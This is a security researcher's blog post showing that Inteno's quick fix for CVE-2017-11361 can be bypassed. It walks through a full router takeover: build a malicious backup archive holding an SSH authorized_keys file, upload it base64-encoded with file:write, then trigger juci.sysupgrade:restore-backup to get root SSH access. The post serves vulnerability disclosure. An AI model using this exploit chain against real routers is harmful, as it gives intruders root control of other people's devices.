CVE-2017-11361 post-remedy: Is it fixed?
A couple of days ago I wrote about CVE-2017-11361, which described abusing misconfigured Access Control Lists to gain root access to Inteno routers. Inteno has recently deployed a quick-fix, removing access to the file:read
and all router.dropbear
calls. Does this stop people with malicious intent from accessing the router?
The answer is no - after having a quick look, I discovered there are still some ubus calls that a hacker can abuse to gain root access to the system.
The problematic call in question is juci.sysupgrade:restore-backup
. This call is meant to be used with juci.sysupgrade:create-backup
to enable the ability to create and restore backups of configuration files.
A quick peek inside the juci.sysupgrade
script, which resides in /usr/libexec/rpcd/
, reveals that the two calls in question simply execute sysupgrade --create-backup /tmp/backup.tar.gz
and sysupgrade --restore-backup /tmp/backup.tar.gz
respectively. sysupgrade
is a useful tool built into OpenWRT, which allows the user to upgrade the system image and perform various backup tasks. However, it has no way of checking whether backups were generated on the same system. This is abusable by a hacker - by replacing /tmp/backup.tar.gz
with a specially crafted tar.gz archive and calling juci.sysupgrade:restore-backup
, the hacker can replace any file they wish on the filesystem.
As an example, I'll be replacing the /etc/dropbear/authorized_keys
file with my own, allowing me to SSH into the router.
The first step is to generate a malicious backup.tar.gz
archive. I created a directory with the following structure:
etc
└── dropbear
└── authorized_keys
The authorized_keys
file simply contained one line - the public SSH key I wished to add to the router.
Time to tar
it:
$ tar -cvzf backup.tar.gz etc/
Now that we have a malicious archive, how do we get it on the router?
As mentioned previously, Inteno removed the ability to access file:read
, however, we can still call file:write
and luckily for us, the /tmp/
directory is writable. The file:write
also supports base64 encoding, which we will be using to place the archive on the filesystem:
$ base64 backup.tar.gz
H4sIAJi7cVkAA+3TT4+aQByAYc/9FN5NA8OfEQ57ECUuKiiKBffSDCMroDg4gCCfvuzeukm3Paxt
Nv09hxkIk8wk7xCVVOjdmdgZqurr3Hk7vz4jGckKUpAod+u6UZJ6ffXeB3tRFSXh/X6PM1a+t+53
3z+pqOu/5ywPI8LvdRH+uL8sqwi99JeQpED/v+Gn/qQqY8aTNtp/P0a34qP2eAmMFeWX/bGI3/RX
Jdz9/+JHHeA9/3n/ooi/8oL0Rx1DdloyRjcqma+vM7cbXXPEs5JSYYnPymGbVnroal4u5eJ+bAuo
kLy2qrnVBrv0cFUe18UTc8jpNNCMQZaHuz3ji1tAxiMxz2e67vGqrTF9oiZudMu0aWBdJ6zK7PhY
s/ZyxkQRclLPpdN4pOT60dttkmyJ3STxFtvpZHKYIq12pCBFY/85C9BUXbO5NGkbgdJUaAJj2GZI
cePWd7bmbRxuJu1jXIhNgVfyM8ZVOkj9k+LNHgMj9AfGyM/Vhu/4mqzza7t0ppZnnax4kTXxsFwt
4/m+1sNDo11dJpsTjASa+PXK8Ae3MvScgsjCoNb8bw67LQxTO0TH8zMLlItGHItayUa2E3NKlyKz
61SPfDtYuVvOLoTaU9l9eOgXx+gUlez85V/fAgAAAAAAAAAAAAAAAAAAAAAAAAB8Zj8AvX+hSAAoAAA=
Assuming we already have a valid session, we can call:
>{"jsonrpc":"2.0","method":"call","params":["eb3bd8e7beb01338b21533a89b678971","file", "write", {"path":"/tmp/backup.tar.gz", "data":"H4sIAJi7cVkAA+3TT4+aQByAYc/9FN5NA8OfEQ57ECUuKiiKBffSDCMroDg4gCCfvuzeukm3PaxtNv09hxkIk8wk7xCVVOjdmdgZqurr3Hk7vz4jGckKUpAod+u6UZJ6ffXeB3tRFSXh/X6PM1a+t+533z+pqOu/5ywPI8LvdRH+uL8sqwi99JeQpED/v+Gn/qQqY8aTNtp/P0a34qP2eAmMFeWX/bGI3/RXJdz9/+JHHeA9/3n/ooi/8oL0Rx1DdloyRjcqma+vM7cbXXPEs5JSYYnPymGbVnroal4u5eJ+bAuokLy2qrnVBrv0cFUe18UTc8jpNNCMQZaHuz3ji1tAxiMxz2e67vGqrTF9oiZudMu0aWBdJ6zK7PhYs/ZyxkQRclLPpdN4pOT60dttkmyJ3STxFtvpZHKYIq12pCBFY/85C9BUXbO5NGkbgdJUaAJj2GZIcePWd7bmbRxuJu1jXIhNgVfyM8ZVOkj9k+LNHgMj9AfGyM/Vhu/4mqzza7t0ppZnnax4kTXxsFwt4/m+1sNDo11dJpsTjASa+PXK8Ae3MvScgsjCoNb8bw67LQxTO0TH8zMLlItGHItayUa2E3NKlyKz61SPfDtYuVvOLoTaU9l9eOgXx+gUlez85V/fAgAAAAAAAAAAAAAAAAAAAAAAAAB8Zj8AvX+hSAAoAAA=", "base64": true}],"id":4}
The response message 0 indicates a successful write. Now to place the malicious file in the correct place in the filesystem:
>{"jsonrpc":"2.0","method":"call","params":["eb3bd8e7beb01338b21533a89b678971","juci.sysupgrade", "restore-backup", {}],"id":5}
Once again the router responds with the response message 0.
We can now successfully log in using the key we placed.